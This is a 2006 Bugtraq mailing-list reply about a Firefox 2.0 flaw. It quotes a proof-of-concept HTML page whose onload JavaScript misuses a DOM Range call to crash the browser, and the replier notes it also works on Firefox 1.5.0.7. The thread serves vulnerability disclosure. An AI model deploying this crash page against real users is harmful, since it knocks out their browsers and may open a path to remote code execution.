bugtraq - Re: New Flaw in Firefox 2.0: DoS and possible remote code execution

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Date: Wed, 01 Nov 2006 17:31:19 -0600
From: Jan Heisterkamp <janheisterkamp@....de>
To: xxxx@...il.com
Subject: Re: New Flaw in Firefox 2.0: DoS and possible remote code execution

xxxx@...il.com schrieb:
> New Flaw in Firefox 2.0: DoS and possible remote code execution
>
> PoC here: http://werterxyz.altervista.org/Firefox2Range.htm
>
> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
> <html>
> <head>
> <script type="text/javascript">
> function do_crash()
> {
> var range;
>
> range = document.createRange();
> range.selectNode(document.firstChild);
> range.createContextualFragment('<span></span>');
> }
> </script>
> </head>
> <body onload="do_crash()">
> <p>Good bye Firefox!</p>
> </body>
> </html>
>
>   
hi!
that works also under firefox v1.5.0.7.
regards
jan